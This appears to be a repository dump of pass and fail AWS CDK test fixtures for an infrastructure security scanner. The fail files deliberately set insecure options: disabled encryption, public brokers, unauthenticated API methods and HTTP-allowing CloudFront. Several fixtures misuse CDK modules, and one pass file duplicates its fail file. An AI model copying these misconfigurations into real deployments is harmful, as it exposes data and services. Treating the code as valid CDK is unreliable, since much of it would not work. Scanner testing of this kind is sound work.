self, "MyWorkspace", bundle_id="wsb-12345678", # Replace with your bundle ID user_name="my-user", root_volume_encryption_enabled=False, user_volume_encryption_enabled=False, # Set to True if you want user volume encryption workspace_properties={"directoryId": directory.ref}, ) app = core.App() WorkSpacesStack(app, "WorkSpacesStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/WorkspaceRootVolumeEncrypted/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_workspaces as workspaces class WorkSpacesStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a WorkSpaces directory directory = workspaces.CfnWorkspaceDirectory( self, "MyWorkspaceDirectory", directory_name="my-workspace-directory", subnet_ids=["subnet-12345678"], # Replace with your subnet IDs self_service_permissions="ENABLED", ) # Create a WorkSpaces workspace with root volume encryption enabled workspace = workspaces.CfnWorkspace( self, "MyWorkspace", bundle_id="wsb-12345678", # Replace with your bundle ID user_name="my-user", root_volume_encryption_enabled=True, user_volume_encryption_enabled=False, # Set to True if you want user volume encryption workspace_properties={"directoryId": directory.ref}, ) app = core.App() WorkSpacesStack(app, "WorkSpacesStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/WorkspaceUserVolumeEncrypted/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_workspaces as workspaces class WorkSpacesStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a WorkSpaces directory directory = workspaces.CfnWorkspaceDirectory( self, "MyWorkspaceDirectory", directory_name="my-workspace-directory", subnet_ids=["subnet-12345678"], # Replace with your subnet IDs self_service_permissions="ENABLED", ) # Create a WorkSpaces workspace with root volume encryption enabled workspace = workspaces.CfnWorkspace( self, "MyWorkspace", bundle_id="wsb-12345678", # Replace with your bundle ID user_name="my-user", root_volume_encryption_enabled=False, user_volume_encryption_enabled=False, workspace_properties={"directoryId": directory.ref}, ) app = core.App() WorkSpacesStack(app, "WorkSpacesStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/WorkspaceUserVolumeEncrypted/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_workspaces as workspaces class WorkSpacesStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a WorkSpaces directory directory = workspaces.CfnWorkspaceDirectory( self, "MyWorkspaceDirectory", directory_name="my-workspace-directory", subnet_ids=["subnet-12345678"], # Replace with your subnet IDs self_service_permissions="ENABLED", ) # Create a WorkSpaces workspace with root volume encryption enabled workspace = workspaces.CfnWorkspace( self, "MyWorkspace", bundle_id="wsb-12345678", # Replace with your bundle ID user_name="my-user", root_volume_encryption_enabled=True, user_volume_encryption_enabled=True, workspace_properties={"directoryId": directory.ref}, ) app = core.App() WorkSpacesStack(app, "WorkSpacesStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/s3.py ================================================ from aws_cdk import App, Stack, aws_s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) bucket = aws_s3.Bucket( self, "example", encryption=aws_s3.BucketEncryption.S3_MANAGED, ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/typescript/ALBDropHttpHeaders/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class ALBDropHttpHeadersStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnLoadBalancer(this, { type: 'not_application', loadBalancerAttributes: [{'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'}] }) new elbv2.CfnLoadBalancer(this, { type: 'application', loadBalancerAttributes: [{'value': 'false', 'key': 'routing.http.drop_invalid_header_fields.enabled'}] }) new elbv2.CfnLoadBalancer(this, { loadBalancerAttributes: [{'key': 'routing.http.drop_invalid_header_fields.disable', 'value': 'true'}], type: 'application' }) new elbv2.CfnLoadBalancer(this, { loadBalancerAttributes: [], type: 'application' }) } } const app = new App(); new ALBDropHttpHeadersStack(app, 'ALBDropHttpHeadersStack'); ================================================ FILE: cdk_integration_tests/src/typescript/ALBDropHttpHeaders/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class ALBDropHttpHeadersStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnLoadBalancer(this, { type: 'application', loadBalancerAttributes: [{'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'}] }) new elbv2.CfnLoadBalancer(this, { type: 'application', loadBalancerAttributes: [{'value': 'true', 'key': 'routing.http.drop_invalid_header_fields.enabled'}] }) new elbv2.CfnLoadBalancer(this, { loadBalancerAttributes: [{'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'}], type: 'application' }) new elbv2.CfnLoadBalancer(this, { loadBalancerAttributes: [{'value': 'true', 'key': 'routing.http.drop_invalid_header_fields.enabled'}], type: 'application' }) } } const app = new App(); new ALBDropHttpHeadersStack(app, 'ALBDropHttpHeadersStack'); ================================================ FILE: cdk_integration_tests/src/typescript/ALBListenerHTTPS/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class ALBListenerHTTPSStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnListener(this, {}) } } const app = new App(); new ALBListenerHTTPSStack(app, 'ALBListenerHTTPSStack'); ================================================ FILE: cdk_integration_tests/src/typescript/ALBListenerHTTPS/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class ALBListenerHTTPSStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnListener(this, {protocol: 'HTTPS'}) new elbv2.CfnListener(this, {protocol: 'TLS'}) new elbv2.CfnListener(this, {protocol: 'TCP'}) new elbv2.CfnListener(this, {protocol: 'UDP'}) new elbv2.CfnListener(this, {protocol: 'TCP_UDP'}) new elbv2.CfnListener(this, {defaultActions: [{type: 'redirect', redirectConfig:{protocol: 'HTTPS'}}]}) } } const app = new App(); new ALBListenerHTTPSStack(app, 'ALBListenerHTTPSStack'); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayAccessLogging/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { apigateway as api } from 'aws-cdk-lib'; class APIGatewayAccessLoggingStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new api.CfnStage(this, {}) } } const app = new App(); new APIGatewayAccessLoggingStack(app, 'APIGatewayAccessLoggingStack'); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayAccessLogging/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { apigateway as api } from 'aws-cdk-lib'; class APIGatewayAccessLoggingStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new api.CfnStage(this, { accessLogSetting: { destinationArn: "1" }} ) } } const app = new App(); new APIGatewayAccessLoggingStack(app, 'APIGatewayAccessLoggingStack'); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayAuthorization/fail.ts ================================================ // Import necessary AWS CDK packages import * as apigateway from '@aws-cdk/aws-apigateway'; import { Resource } from '@aws-cdk/core'; // Example resource and method declarations const resource: Resource = new Resource(); // Placeholder for actual resource initialization // Test cases for the policy patterns // This should match the first pattern and not be sanitized by the second pattern // SOURCE const method1 = resource.addMethod('GET', new apigateway.MockIntegration(), { apiKeyRequired: false }); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayAuthorization/fail__2__.ts ================================================ // Import necessary AWS CDK packages import * as apigateway from '@aws-cdk/aws-apigateway'; import { Resource } from '@aws-cdk/core'; // Example resource and method declarations const resource: Resource = new Resource(); // Placeholder for actual resource initialization // Test cases for the policy patterns // This should match the second pattern // SINK const method2 = resource.addMethod('POST', new apigateway.MockIntegration(), { authorizationType: apigateway.AuthorizationType.NONE }); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayAuthorization/pass.ts ================================================ // Import necessary AWS CDK packages import * as apigateway from '@aws-cdk/aws-apigateway'; import { Resource } from '@aws-cdk/core'; // Example resource and method declarations const resource: Resource = new Resource(); // Placeholder for actual resource initialization // Test cases for the policy patterns // This should not match any pattern as it includes an authorization type // SANITIZER const method3 = resource.addMethod('PUT', new apigateway.MockIntegration(), { authorizationType: apigateway.AuthorizationType.COGNITO, apiKeyRequired: true }); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayAuthorization/pass__2__.ts ================================================ // Import necessary AWS CDK packages import * as apigateway from '@aws-cdk/aws-apigateway'; import { Resource } from '@aws-cdk/core'; // Example resource and method declarations const resource: Resource = new Resource(); // Placeholder for actual resource initialization // Test cases for the policy patterns // This should not match any pattern as it includes an authorization type and is not open const method4 = resource.addMethod('DELETE', new apigateway.MockIntegration(), { authorizationType: apigateway.AuthorizationType.IAM }); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayCacheEnable/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class APIGatewayCacheEnableStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.Stage(this, {}) } } const app = new App(); new APIGatewayCacheEnableStack(app, 'APIGatewayCacheEnableStack'); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayCacheEnable/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class APIGatewayCacheEnableStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.Stage(this, { cacheClusterEnabled: true} ) } } const app = new App(); new APIGatewayCacheEnableStack(app, 'APIGatewayCacheEnableStack'); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayV2AccessLogging/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class APIGatewayV2AccessLoggingStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnApi(this, {}) } } const app = new App(); new APIGatewayV2AccessLoggingStack(app, 'APIGatewayV2AccessLoggingStack'); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayV2AccessLogging/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class APIGatewayV2AccessLoggingStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnApi(this, {accessLogSettings: {destinationArn: "1"}}) } } const app = new App(); new APIGatewayV2AccessLoggingStack(app, 'APIGatewayV2AccessLoggingStack'); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayXray/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class APIGatewayXrayStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnStage(this, {}) new elbv2.CfnStage(this, {tracingEnabled: false}) } } const app = new App(); new APIGatewayXrayStack(app, 'APIGatewayXrayStack'); ================================================ FILE: cdk_integration_tests/src/typescript/APIGatewayXray/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class APIGatewayXrayStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnStage(this, {tracingEnabled: true}) } } const app = new App(); new APIGatewayXrayStack(app, 'APIGatewayXrayStack'); ================================================ FILE: cdk_integration_tests/src/typescript/AmazonMQBrokerPublicAccess/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class AmazonMQBrokerPublicAccessStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnBroker(this, {publiclyAccessible: true}) } } const app = new App(); new AmazonMQBrokerPublicAccessStack(app, 'AmazonMQBrokerPublicAccessStack'); ================================================ FILE: cdk_integration_tests/src/typescript/AmazonMQBrokerPublicAccess/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class AmazonMQBrokerPublicAccessStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnBroker(this, {}) new elbv2.CfnBroker(this, {publiclyAccessible: false}) } } const app = new App(); new AmazonMQBrokerPublicAccessStack(app, 'AmazonMQBrokerPublicAccessStack'); ================================================ FILE: cdk_integration_tests/src/typescript/AppSyncFieldLevelLogs/fail.ts ================================================ // Import necessary AWS CDK packages import * as appsync from '@aws-cdk/aws-appsync'; // Example of a log configuration that does not enable field-level logging // FINDING const logConfig: appsync.LogConfig = { // log configuration details }; // This should match the pattern and be flagged as a vulnerability // SINK const graphqlApiWithoutLogs = new appsync.GraphqlApi(this, 'apiWithoutLogs', { // other configuration details logConfig: { // Incorrect or missing fieldLogLevel configuration } }); // The SAST engine should flag 1 vulnerability: `graphqlApiWithoutLogs`. ================================================ FILE: cdk_integration_tests/src/typescript/AppSyncFieldLevelLogs/pass.ts ================================================ // Import necessary AWS CDK packages import * as appsync from '@aws-cdk/aws-appsync'; // Example of a log configuration that does not enable field-level logging // FINDING const logConfig: appsync.LogConfig = { fieldLogLevel: appsync.FieldLogLevel.ALL }; // This should not match the pattern as it includes a logConfig with FieldLogLevel const graphqlApiWithLogs = new appsync.GraphqlApi(this, 'apiWithLogs', { // other configuration details logConfig: { fieldLogLevel: appsync.FieldLogLevel.ALL // This is the correct configuration } }); ================================================ FILE: cdk_integration_tests/src/typescript/AppSyncLogging/fail.ts ================================================ // Import necessary AWS CDK packages import * as appsync from '@aws-cdk/aws-appsync'; // Example of a log configuration // FINDING const logConfig: appsync.LogConfig = { // log configuration details }; // This should match the pattern and be flagged as a vulnerability // SINK const graphqlApiWithoutRole = new appsync.GraphqlApi(this, 'apiWithoutRole', { // other configuration details logConfig: { // log configuration details without role } }); // The SAST engine should flag 1 vulnerability: `graphqlApiWithoutRole`. ================================================ FILE: cdk_integration_tests/src/typescript/AppSyncLogging/pass.ts ================================================ // Import necessary AWS CDK packages import * as appsync from '@aws-cdk/aws-appsync'; // Example of a log configuration // FINDING const logConfig: appsync.LogConfig = { // log configuration details }; // This should match the pattern and be flagged as a vulnerability // SINK const graphqlApiWithoutRole = new appsync.GraphqlApi(this, 'apiWithoutRole', { // other configuration details logConfig: { // log configuration details without role } }); // The SAST engine should flag 1 vulnerability: `graphqlApiWithoutRole`. ================================================ FILE: cdk_integration_tests/src/typescript/AthenaWorkgroupConfiguration/fail.ts ================================================ // Import necessary AWS CDK packages import * as athena from '@aws-cdk/aws-athena'; // This should match the pattern and be flagged as a vulnerability // SINK const workgroupWithoutEnforcement = new athena.CfnWorkGroup(this, 'workgroupWithoutEnforcement', { // other configuration details workGroupConfiguration: { // Workgroup configuration details without enforceWorkGroupConfiguration } }); ================================================ FILE: cdk_integration_tests/src/typescript/AthenaWorkgroupConfiguration/fail__2__.ts ================================================ // Import necessary AWS CDK packages import * as athena from '@aws-cdk/aws-athena'; // Example of a Workgroup configuration // FINDING const workgroupConfig: athena.CfnWorkGroup.WorkGroupConfigurationProperty = { // Workgroup configuration details }; const workgroupWithoutEnforcement2 = new athena.CfnWorkGroup(this, 'workgroupWithoutEnforcement', { // other configuration details workGroupConfiguration: workgroupConfig }); ================================================ FILE: cdk_integration_tests/src/typescript/AthenaWorkgroupConfiguration/pass.ts ================================================ // Import necessary AWS CDK packages import * as athena from '@aws-cdk/aws-athena'; // Example of a Workgroup configuration // FINDING const workgroupConfig: athena.CfnWorkGroup.WorkGroupConfigurationProperty = { enforceWorkGroupConfiguration: true }; // This should not match the pattern as it includes enforceWorkGroupConfiguration set to true const workgroupWithEnforcement = new athena.CfnWorkGroup(this, 'workgroupWithEnforcement', { // other configuration details enforceWorkGroupConfiguration: true }); // This should not match the pattern as it includes enforceWorkGroupConfiguration set to true const workgroupWithEnforcement2 = new athena.CfnWorkGroup(this, 'workgroupWithEnforcement', workgroupConfig); ================================================ FILE: cdk_integration_tests/src/typescript/AuroraEncryption/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class AuroraEncryptionStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnDBCluster(this, {}) new elbv2.CfnDBCluster(this, {storageEncrypted: false}) } } const app = new App(); new AuroraEncryptionStack(app, 'AuroraEncryptionStack'); ================================================ FILE: cdk_integration_tests/src/typescript/AuroraEncryption/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class AuroraEncryptionStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnDBCluster(this, {storageEncrypted: true}) } } const app = new App(); new AuroraEncryptionStack(app, 'AuroraEncryptionStack'); ================================================ FILE: cdk_integration_tests/src/typescript/BackupVaultEncrypted/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class BackupVaultEncryptedStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnBackupVault(this, {}) new elbv2.CfnBackupVault(this, {encryptionKeyArn: false}) } } const app = new App(); new BackupVaultEncryptedStack(app, 'BackupVaultEncryptedStack'); ================================================ FILE: cdk_integration_tests/src/typescript/BackupVaultEncrypted/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class BackupVaultEncryptedStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnBackupVault(this, {encryptionKeyArn: true}) } } const app = new App(); new BackupVaultEncryptedStack(app, 'BackupVaultEncryptedStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudFrontTLS12/fail.ts ================================================ // Import necessary AWS CDK packages import * as cloudfront from '@aws-cdk/aws-cloudfront'; import { Construct } from '@aws-cdk/core'; // Example of a ViewerCertificateProperty that does not specify TLS v1.2 // FINDING const viewerCertificateConfig: cloudfront.CfnDistribution.ViewerCertificateProperty = { // Viewer certificate configuration details }; // This should match the pattern and be flagged as a vulnerability // SINK const distributionWithoutTLSv12 = new cloudfront.CfnDistribution(new Construct(), 'distributionWithoutTLSv12', { // other configuration details viewerCertificate: { // Incorrect or missing minimumProtocolVersion configuration } }); // The SAST engine should flag 1 vulnerability: `distributionWithoutTLSv12`. ================================================ FILE: cdk_integration_tests/src/typescript/CloudFrontTLS12/pass.ts ================================================ // Import necessary AWS CDK packages import * as cloudfront from '@aws-cdk/aws-cloudfront'; import { Construct } from '@aws-cdk/core'; // Example of a ViewerCertificateProperty that does not specify TLS v1.2 // FINDING const viewerCertificateConfig: cloudfront.CfnDistribution.ViewerCertificateProperty = { // Viewer certificate configuration details }; // This should not match the pattern as it includes a ViewerCertificate with TLSv1.2 const distributionWithTLSv12 = new cloudfront.CfnDistribution(new Construct(), 'distributionWithTLSv12', { // other configuration details viewerCertificate: { minimumProtocolVersion: 'TLSv1.2' // This is the correct configuration } }); ================================================ FILE: cdk_integration_tests/src/typescript/CloudTrailLogValidation/fail.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class CloudTrailLogValidationStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnTrail(this, {}) new elbv2.CfnTrail(this, {enableLogFileValidation: false}) } } const app = new App(); new CloudTrailLogValidationStack(app, 'CloudTrailLogValidationStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudTrailLogValidation/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib'; class CloudTrailLogValidationStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new elbv2.CfnTrail(this, {enableLogFileValidation: true}) } } const app = new App(); new CloudTrailLogValidationStack(app, 'CloudTrailLogValidationStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudWatchLogGroupKMSKey/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as logs from 'aws-cdk-lib/aws-logs'; export class MyLogGroupStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); new logs.LogGroup(this, 'MyLogGroup', { logGroupName: 'MyLogGroupName', // Name of the log group removalPolicy: cdk.RemovalPolicy.DESTROY, // Setting removal policy retention: logs.RetentionDays.ONE_MONTH, // Set the retention policy as needed }); // You can add other resources or configurations to the stack here } } // Example usage const app = new cdk.App(); new MyLogGroupStack(app, 'MyLogGroupStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudWatchLogGroupKMSKey/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as logs from 'aws-cdk-lib/aws-logs'; import * as kms from 'aws-cdk-lib/aws-kms'; export class MyLogGroupStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); new logs.LogGroup(this, 'MyLogGroup', { logGroupName: 'MyLogGroupName', // Name of the log group removalPolicy: cdk.RemovalPolicy.DESTROY, // Setting removal policy retention: logs.RetentionDays.ONE_MONTH, // Set the retention policy as needed encryptionKey: new kms.Key(this, 'Key'), }); // You can add other resources or configurations to the stack here } } // Example usage const app = new cdk.App(); new MyLogGroupStack(app, 'MyLogGroupStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudWatchLogGroupRetention/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as logs from 'aws-cdk-lib/aws-logs'; export class MyLogGroupStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Creating a CloudFormation LogGroup resource const logGroup = new logs.CfnLogGroup(this, 'MyLogGroup', { logGroupName: 'MyLogGroupName', // Name of the log group kmsKeyId: '1', // Specify the KMS key ID }); // Optionally set removal policy logGroup.applyRemovalPolicy(cdk.RemovalPolicy.DESTROY); } } // Example usage const app = new cdk.App(); new MyLogGroupStack(app, 'MyLogGroupStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudWatchLogGroupRetention/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as logs from 'aws-cdk-lib/aws-logs'; export class MyLogGroupStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Creating a CloudFormation LogGroup resource const logGroup = new logs.CfnLogGroup(this, 'MyLogGroup', { logGroupName: 'MyLogGroupName', // Name of the log group retentionInDays: 30, // Set the retention policy as needed kmsKeyId: '1', // Specify the KMS key ID }); // Optionally set removal policy logGroup.applyRemovalPolicy(cdk.RemovalPolicy.DESTROY); } } // Example usage const app = new cdk.App(); new MyLogGroupStack(app, 'MyLogGroupStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudfrontDistributionEncryption/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as cloudfront from 'aws-cdk-lib/aws-cloudfront'; import * as origins from 'aws-cdk-lib/aws-cloudfront-origins'; export class CloudFrontStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Creating an origin for the CloudFront distribution const myOrigin = new origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' }); // Creating a CloudFront distribution const distribution = new cloudfront.CfnDistribution(this, 'MyDistribution', { distributionConfig: { defaultCacheBehavior: { targetOriginId: 'myOrigin1', viewerProtocolPolicy: 'allow-all', }, origins: [ { id: 'myOrigin1', domainName: 'my-bucket.s3.amazonaws.com', s3OriginConfig: {}, }, ], enabled: true, }, }); } } // Example usage const app = new cdk.App(); new CloudFrontStack(app, 'CloudFrontStack'); export class CloudFrontStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Creating an origin for the CloudFront distribution const myOrigin = new origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' }); // Creating a CloudFront distribution using the Distribution construct const distribution = new cloudfront.Distribution(this, 'MyDistribution', { defaultBehavior: { origin: myOrigin, viewerProtocolPolicy: cloudfront.ViewerProtocolPolicy.ALLOW_ALL, // Allow all protocols }, }); } } // Example usage const app = new cdk.App(); new CloudFrontStack(app, 'CloudFrontStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudfrontDistributionEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as cloudfront from 'aws-cdk-lib/aws-cloudfront'; import * as origins from 'aws-cdk-lib/aws-cloudfront-origins'; export class CloudFrontStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Creating an origin for the CloudFront distribution const myOrigin = new origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' }); // Creating a CloudFront distribution const distribution = new cloudfront.CfnDistribution(this, 'MyDistribution', { distributionConfig: { defaultCacheBehavior: { targetOriginId: 'myOrigin1', viewerProtocolPolicy: 'redirect-to-https', }, origins: [ { id: 'myOrigin1', domainName: 'my-bucket.s3.amazonaws.com', s3OriginConfig: {}, }, ], enabled: true, }, }); } } // Example usage const app = new cdk.App(); new CloudFrontStack(app, 'CloudFrontStack'); export class CloudFrontStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Creating an origin for the CloudFront distribution const myOrigin = new origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' }); // Creating a CloudFront distribution using the Distribution construct const distribution = new cloudfront.Distribution(this, 'MyDistribution', { defaultBehavior: { origin: myOrigin, viewerProtocolPolicy: cloudfront.ViewerProtocolPolicy.REDIRECT_TO_HTTPS, // Allow all protocols }, }); } } // Example usage const app = new cdk.App(); new CloudFrontStack(app, 'CloudFrontStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudfrontDistributionLogging/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as cloudfront from 'aws-cdk-lib/aws-cloudfront'; import * as s3 from 'aws-cdk-lib/aws-s3'; import * as logs from 'aws-cdk-lib/aws-logs'; export class CloudFrontStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // S3 bucket for storing CloudFront access logs const logBucket = new s3.Bucket(this, 'LogBucket'); // Creating an origin for the CloudFront distribution const myOrigin = new cloudfront.Origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' }); // Creating a CloudFront distribution using the Distribution construct const distribution = new cloudfront.Distribution(this, 'MyDistribution', { defaultBehavior: { origin: myOrigin, viewerProtocolPolicy: cloudfront.ViewerProtocolPolicy.ALLOW_ALL, }, enableLogging: false, // Enable access logging logBucket: logBucket, logFilePrefix: 'cf-access-logs/', // Optional: prefix for log file names }); // Optionally grant CloudFront permission to write access logs to the S3 bucket logBucket.grantWrite(distribution.logBucketDelivery); } } // Example usage const app = new cdk.App(); new CloudFrontStack(app, 'CloudFrontStack'); export class CloudFrontStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // S3 bucket for storing CloudFront access logs const logBucket = new s3.Bucket(this, 'LogBucket'); // Creating an origin for the CloudFront distribution const myOrigin = new cloudfront.CfnDistribution.OriginProperty({ domainName: 'my-bucket.s3.amazonaws.com', id: 'myOrigin', s3OriginConfig: {}, }); // Creating a CloudFront distribution using the CfnDistribution construct const distribution = new cloudfront.CfnDistribution(this, 'MyDistribution', { distributionConfig: { defaultCacheBehavior: { targetOriginId: 'myOrigin', viewerProtocolPolicy: 'allow-all', }, origins: [myOrigin], enabled: true, }, }); // Optionally grant CloudFront permission to write access logs to the S3 bucket logBucket.grantWrite(distribution.logBucketDeliveryWrite); } } // Example usage const app = new cdk.App(); new CloudFrontStack(app, 'CloudFrontStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudfrontDistributionLogging/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as cloudfront from 'aws-cdk-lib/aws-cloudfront'; import * as s3 from 'aws-cdk-lib/aws-s3'; import * as logs from 'aws-cdk-lib/aws-logs'; export class CloudFrontStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // S3 bucket for storing CloudFront access logs const logBucket = new 